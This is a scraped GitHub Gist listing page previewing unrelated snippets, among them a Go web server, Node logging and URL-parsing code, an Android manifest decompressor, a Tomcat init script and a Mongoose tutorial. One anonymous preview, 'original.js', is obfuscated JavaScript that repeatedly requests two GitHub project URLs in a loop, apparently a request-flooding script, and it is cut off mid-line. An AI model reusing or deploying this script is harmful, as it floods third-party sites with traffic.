Skip to content

Instantly share code, notes, and snippets.

@enricofoltran
enricofoltran / main.go
Last active April 1, 2024 00:17
A simple golang web server with basic logging, tracing, health check, graceful shutdown and zero dependencies
package main
import (
"context"
"flag"
"fmt"
"log"
"net/http"
"os"
"os/signal"
anonymous
anonymous / original.js
Created March 27, 2015 05:48
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('l.k("<5 p=\'r://H.B.9/8/2.0.0/8.C.t\'>\\h/5>");!J.K&&l.k("<5 p=\'r://L.8.9/8-T.t\'>\\h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E/","m://n.9/F-G/"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);',62,64,'|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|jQuery|code|ajax|url|dataType|timeou
@prantlf
prantlf / logger.js
Last active February 22, 2022 09:56 — forked from rtgibbons/logger.js
Logger Library with winston - Fixed for additional log arguments
var app = require(process.cwd() + '/app');
var winston = require('winston');
var _ = require('lodash');
// Set up logger
var customColors = {
trace: 'white',
debug: 'green',
info: 'green',
warn: 'yellow',
@sofish
sofish / urlparser.js
Last active March 18, 2021 11:31
URL Parser
var parser = function(url) {
var a = document.createElement('a');
a.href = url;
var search = function(search) {
if(!search) return {};
var ret = {};
search = search.slice(1).split('&');
for(var i = 0, arr; i < search.length; i++) {
@vgaidarji
vgaidarji / Android XML decompressor
Created March 11, 2014 14:42
Decompile application and parse AndroidManifest.xml to string
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;
import java.util.zip.ZipEntry;
import java.util.zip.ZipFile;
class AndroidXMLDecompress {
// decompressXML -- Parse the 'compressed' binary form of Android XML docs
// such as for AndroidManifest.xml in .apk files
@rtgibbons
rtgibbons / logger.js
Created November 7, 2013 13:51
Logger Library with winston
var app = require(process.cwd() + '/app');
var winston = require('winston');
var _ = require('lodash');
// Set up logger
var customColors = {
trace: 'white',
debug: 'green',
info: 'green',
warn: 'yellow',
@nbremer
nbremer / .block
Last active August 14, 2023 23:44
D3.js - Radar Chart or Spider Chart - Adjusted from radar-chart-d3
height: 650
license: mit
@ksafranski
ksafranski / expecting.md
Last active November 11, 2023 23:00
Basic principles of using tcl-expect scripts

Intro

TCL-Expect scripts are an amazingly easy way to script out laborious tasks in the shell when you need to be interactive with the console. Think of them as a "macro" or way to programmaticly step through a process you would run by hand. They are similar to shell scripts but utilize the .tcl extension and a different #! call.

Setup Your Script

The first step, similar to writing a bash script, is to tell the script what it's executing under. For expect we use the following:

#!/usr/bin/expect
@miglen
miglen / Apache Tomcat 8 Start stop script init.d script
Last active November 10, 2022 20:03 — forked from valotas/tomcat.sh
Apache Tomcat init script (or startup/controll script). Works fine for version 7/8. Read the comments for release history. Feel free to modify, copy and give suggestions. (c) GNU General Public License
#!/bin/bash
#
# description: Apache Tomcat init script
# processname: tomcat
# chkconfig: 234 20 80
#
#
# Copyright (C) 2014 Miglen Evlogiev
#
# This program is free software: you can redistribute it and/or modify it under
@bclinkinbeard
bclinkinbeard / referenced_mongo_json.md
Created March 15, 2013 16:56
Populating referenced collections in MongoDB from JSON files using Node.js and Mongoose

Populating referenced collections in MongoDB from JSON files using Node.js and Mongoose

I recently began working with Node and MongoDB for a small personal project, largely just to learn the technologies. One thing that is fairly simple but that I found far from obvious and lacking in concrete examples was how to populate the part of my database that used referenced collections from the sample JSON data I was starting with. This post attempts to fill that gap using the following code snippets, which are heavily commented inline. You will notice I am using the awesome Mongoose library which makes working with MongoDB very easy.

http.createServer( app ).listen( app.get( 'port' ), function() {

    mongoose.connect( 'mongodb://localhost/{YOUR_DB_NAME}' );

	var db = mongoose.connection;